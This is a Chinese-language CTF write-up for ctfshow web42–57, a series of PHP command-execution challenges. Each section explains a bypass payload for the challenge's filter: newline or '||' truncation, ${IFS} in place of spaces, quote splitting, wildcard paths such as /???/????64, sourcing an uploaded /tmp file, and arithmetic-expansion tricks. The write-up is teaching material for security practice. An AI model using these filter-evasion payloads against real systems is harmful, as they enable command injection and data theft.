web42-57命令执行篇(二)
web42-57命令执行篇(二)
Natro92web42
1 | if(isset($_GET['c'])){ |
在变量后面拼接了一堆字符串。在此之前,我们需要先思考这一串是什么东西。
1 | >/dev/null 2>&1 |
就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
因此这个也被成为数据黑洞(还是很形象的)。
这部分的bypass是双写,让后面的指令结果进入黑洞,但是保全前面的命令。
比如说:?c=ls;ls
,这就出现了运行结果。
于是payload也就很容易得到了:?c=tac flag.php;ls
方法二
当然直接使用%0a
截断也可以,比如:tac f*%0a
从重定向到黑洞(>/dev/null 2>&1)
https://www.cnblogs.com/kexianting/p/11630085.html(建议忘了看这个,写的很全)
但是我们不能只知道这个东西是是黑洞,我们也要明白其中的原理。
容易看出,上面的语句应该是分成两段,前一段是:>/dev/null
后一段是:2>&1
前者的含义是将输出结果定向到>/dev/null
,而这个地址表示的是linux的空设备,因此会将运行结果消灭。
而后者简单解释就是将正确和错误两个输出绑定到一起,都输出到同一个地方。(其中1指的是标准输出,2指的是错误输出,详细的看参考文章)。
web43
1 | if(isset($_GET['c'])){ |
过滤了分号,不能用上一题的方法绕过了,但是可以使用%0a
(回车)截断。
payload:tac f*%0a
web44
1 | if(isset($_GET['c'])){ |
?c=tac f*%0a
web45 IFS绕过原理解析
1 | if(isset($_GET['c'])){ |
多了一个空格过滤,payload中简单加一个${IFS}
即可绕过。?c=tac${IFS}f*%0a
备注
一直使用IFS来绕过,但是一直不知道什么意思,了解了一下:
$IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space,tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
直接用$IFS的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php,会把IFSflag一起当变量解析。这时候需要在$IFS后面进行截断,使解析为空,结束 $IFS,正常执行后面的内容。
1 | cat$IFS$1flag.php //使用特殊变量 |
web46
1 | if(isset($_GET['c'])){ |
空格过滤还过滤了美元符号,用通配符<
绕过即可。flag和*过滤用单双引号绕过即可。?c=tac<>'f'lag.php%0a
web47
1 | if(isset($_GET['c'])){ |
?c=tac<'f'lag.php%0a
hint中给的方法是这种:nl<fla''g.php||
看来管道符也可以截断,但是尝试将管道符换成&却不行。可能这里截断的是文本而不是命令。
web48
1 | if(isset($_GET['c'])){ |
竟然还没有过滤tac?c=tac<'f'lag.php%0a
web49
1 | if(isset($_GET['c'])){ |
?c=tac<f''lag.php||
不让用%0a,就用刚刚在hint中学到的双管道符隔断。
web50
1 | if(isset($_GET['c'])){ |
?c=tac<f''lag.php||
过滤中出现了很有意思的东西:\x09 和\x26
,\x表示后面两位用十六进制来表示,则前面两国的代表ascii码为9和26的字符
注意是十六进制,不是十进制。
web51
1 | if(isset($_GET['c'])){ |
这回把tac过滤了,但是还是有能用的,比如说nl?c=nl<'f'lag.php||
,php代码需要打开f12查看。
web52
1 | if(isset($_GET['c'])){ |
把通配符的<>过滤了,找了半天还有什么办法能够绕过空额过滤,看hint才发现又可以使用$了…?c=nl${IFS}fla''g.php||
web53
1 | if(isset($_GET['c'])){ |
?c=nl${IFS}fla''g.php
但实际上前面过滤的字符也可以通过单引号引用绕过过滤,比如hint中的payload如下:c''at${IFS}fla''g.p''hp
web54 通配符中问号的使用
1 | if(isset($_GET['c'])){ |
第一种方法:mv${IFS}fla?.php${IFS}a.txt
,因为没有禁用ls,因此知道文件名,因此可以使用mv来重命名文件。然后打开即可,打开有几种不同的方法,比如说?c=uniq${IFS}a.txt
,但是flag在源代码中,需要f12查看;或者用?c=rev${IFS}a.txt
反转输出文件,这种得到的flag是行反转的,需要调转回来:
除此之外,还有一种直接一步完成的方法。c=uniq${IFS}f???.php
,这里通过使用?通配符来一步绕过过滤,其实对名称的过滤大部分就是对linux通配符的考察,需要我们一点点加强功底。
通配符?和*的区别
*可以替代一个或多个字符,而?只能替代一个字符。
比如:
- 如果正在查找以AEW开头的一个文件,但不记得文件名其余部分,可以输入AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll等。
- 如果输入love?,查找以love开头的一个字符结尾文件类型的文件,如lovey、lovei等。要缩小范围可以输入love?.doc,查找以love开头的一个字符结尾文件类型并.doc为扩展名的文件如lovey.doc、loveh.doc。
web55 通配符中问号使用plus版
1 | // 你们在炫技吗? |
刚看到这个题的第一想法是使用自增,但是发现吧分号过滤了,用不了。看了一下wp,发现了几种比较牛逼的解法。
方法一 使用bin目录下的base64命令 ?来代替字符
这里想使用的知识点是:/bin/base64 flag.php
先介绍一下,在/bin目录下有若干个命令可以使用:
1 | cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等 |
但是这里过滤了字符,不能直接用,因此我们可以借助通配符中的问号来完成payload。
即/???/????64
因为没有过滤掉数字,所以可以通过64来找到base64命令。当然,文件名也是可以使用?表示的。
payload:/???/????64 ????.???
后面这串代表的flag.php
。将得到的字符串base64解密即可。
但是如何知道文件名是flag.php
的这里并没有提到。
方法二 使用bzip2下载文件 ?来代替字符
除了/bin
地址下,/usr/bin
下也有执行命令。
1 | c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等 |
因此,我们也可以像方法一中选择具有数字的方法来使用,比如:/usr/bin/bzip2 flag.php
修改为payload:/???/???/????2 ????.???
,压缩之后,查询发现bzip2方法压缩的文件名称后缀为.bz2
因此我们访问文件下载即可/flag.php.bz2
,在本地解压打开即可:
方法三 “.”的妙用
source命令,也就是.命令,可以通过. file
来执行命令,因此这题我们可以通过post上传文件来执行命令。
当我们上传文件之后,文件会被保存在/tmp
下,文件名称为随机构成的六个字符。因此可以使用/???/??????
来匹配文件,但是临时文件有很多,这样没有办法精准地找到需要的文件。
这篇文章给出了解决方案:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
在tmp临时文件中,只有php生成的文件是包含大写字母的,其余都是小写字母,因此我们可以加一个过滤大写字母的正则表达式,但是由于不一定一定会生成大写字母,因此需要多次尝试。
过滤出大写字母正常来说应该按照如下来写:/???/????????[A-Z]
,但是这题里面过滤掉了字符,因此只能用A前面的字符和Z后面的字符(ASCII表),也就是:/???/????????[@-[]
。
我们应该如何上传文件呢。
比较复杂的办法就是自己构造post内容写,比较简单的就是借助工具。
在本地写一个简单的html文件(将地址修改为目标地址)
1 |
|
本地运行文件,然后上传即可。
修改上传文件内容:
1 | #!/bin/sh |
注意途中要抓包,这样才更方便修改。
修改get传参/?c=. /???/????????[@-[]
,我们可以先修改文件内容来ls一下查看文件:
cat访问文件。
注意,有的时候没有回显是因为文件末尾并不是大写字母,需要多尝试两遍。
web56
1 | if(isset($_GET['c'])){ |
同理,使用上一题第三种方法上传文件即可。
web57
https://blog.csdn.net/qq_46091464/article/details/108563368
https://blog.csdn.net/weixin_45551083/article/details/110096787
1 | // 还能炫的动吗? |
跑一下剩余字符:
题目的意思就是让我们使用剩余的这些字符凑出一个36出来。我们先看一下payload是什么:
1 | $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
我们在linux中尝试一下:
为什么会这样呢?我们分析一下,我们先要知道这其中的几个基础结构:
1 | ${_}:代表上一次命令执行的结果 |
知道了基础,然后我们结合数据。
1 | $((${_}))=0 |
然后直接使用脚本跑就行,需要36,那么就传入37然后再减一就行。
1 | data = "$((~$(("+"$((~$(())))"*37+"))))" |